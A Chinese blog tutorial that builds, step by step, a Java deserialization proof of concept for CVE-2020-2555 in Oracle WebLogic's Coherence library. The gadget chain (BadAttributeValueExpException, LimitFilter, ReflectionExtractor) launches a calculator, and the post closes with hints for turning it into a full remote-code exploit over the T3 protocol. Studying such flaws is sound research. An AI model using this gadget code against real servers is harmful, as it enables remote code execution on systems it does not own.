欸欸欸,不想写论文,起床发现 https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server 爆出CVE-2020-2555新的gadget细节了,打发打发时间试着写写POC。本文POC构造将会比较详细,挖JDK gadget大佬自动略过吧,还有本文只是POC,不包含exp,那些想要exp的大佬们也直接略过吧,但是你好好读文章构造出exp也不是什么难事,最后会给出exp的思路。
漏洞的gadget如下,需要导入coherence.jar,weblogic12.3.6 lib包下有:
先抛开上面的gadget总结一下挖掘java反序列化的思路如下:
1、首先要找到反序列化入口(source)
2、调用链(gadget)
3、触发漏洞的目标方法(sink)
反序列化漏洞的挖掘,本质上就是一个已知source和sink,如何走通整个调用流程的问题。在这里的source,可以包括
专有格式的反序列化,例如通过Fastjson, Xstream等第三方库,处理json, xml等格式内容,得到Java对象
执行目标sink,包括:
从source出发,递归检查其所有方法调用,如果能够执行到sink就是一条gadget。
拿这条gadget举例,source入口点是BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这条gadget就是通过BadAttributeValueExpException触发的。sink点则是Method.invoke()通过反射方法执行
所以构造如下代码是可以弹计算器的:
public static void main(String[] args) { Runtime runtime=Runtime.getRuntime(); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"}); reflectionExtractor.extract(runtime); }
反射方式触发:
再往上回溯,谁触发extract函数,这就找到LimitFilter类的toString()方法:
在写段代码:
public static void main(String[] args) { Runtime runtime=Runtime.getRuntime(); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"}); reflectionExtractor.extract(runtime); LimitFilter limitFilter = new LimitFilter(); limitFilter.setComparator(reflectionExtractor); limitFilter.setTopAnchor(runtime); limitFilter.toString(); }
将runtime对象赋值给m_oAnchorTop
limitFilter.setTopAnchor(runtime);
将reflectionExtractor赋值给m_comparator
limitFilter.setComparator(reflectionExtractor);
看图的标注,执行2就相当于执行 reflectionExtractor.extract(runtime)
,就跟POC1构造的一样了。
效果就是这样:
在向上回溯,谁触发LimitFilter类的toString()。这也就来到的source入口点,通过BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这就是通过BadAttributeValueExpException触发的。所以要想看明白这里需要先看懂CommonsCollections5,可以看我博客写的: https://www.cnblogs.com/afanti/p/10199235.html ,之前读CommonsCollections5,做的笔记如下:
重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,就会调用BadAttributeValueExpException的val = valObj.toString();
这就好办了,把val赋值为limitFilter就会调用limitFilter的toString方法,自此打通了整条gadgets。
在写一段POC:
Runtime runtime=Runtime.getRuntime(); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"}); LimitFilter limitFilter = new LimitFilter(); limitFilter.setComparator(reflectionExtractor); limitFilter.setTopAnchor(runtime); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, limitFilter); File f = new File("poc.txt"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(poc); out.close();
然鹅,在执行时会报如下错误,Runtime这个类没实现序列化接口,小问题:
首先先自定义一个危险类,如下:
import java.io.IOException; import java.io.Serializable; public class Afanti implements Serializable { public void exec(String shell) throws IOException { Runtime.getRuntime().exec(shell); } }
完整POC如下:
Afanti afanti = new Afanti(); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"}); LimitFilter limitFilter = new LimitFilter(); limitFilter.setComparator(reflectionExtractor); limitFilter.setTopAnchor(afanti); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, limitFilter); File f = new File("poc.txt"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(poc); out.close();
调用栈如下,跟文章给的图片一样。
本文只是教大家怎么写POC,exp就不给出来了提一提思路。既然能够执行实现序列化接口类的任意方法,参数可控,exp构造就不难了。比如:可以找一个类,类的函数有执行代码操作或者文件操作或者反序列化操作又或者jndi注入之类的。这样的类一抓一大把,会构造CVE-2019-2725的,自然知道exp怎么写。写完exp,通过t3协议发包,RCE一发入魂。最后提醒大家一点要想构造jndi的exp,jdk版本得选对,要不会遇到很多坑。(想要找危险类的可以试试我写的这篇文章的工具,改改正则: https://www.anquanke.com/post/id/199703 )
https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
https://www.oracle.com/security-alerts/cpujan2020.html
https://www.cnblogs.com/afanti/p/10199235.html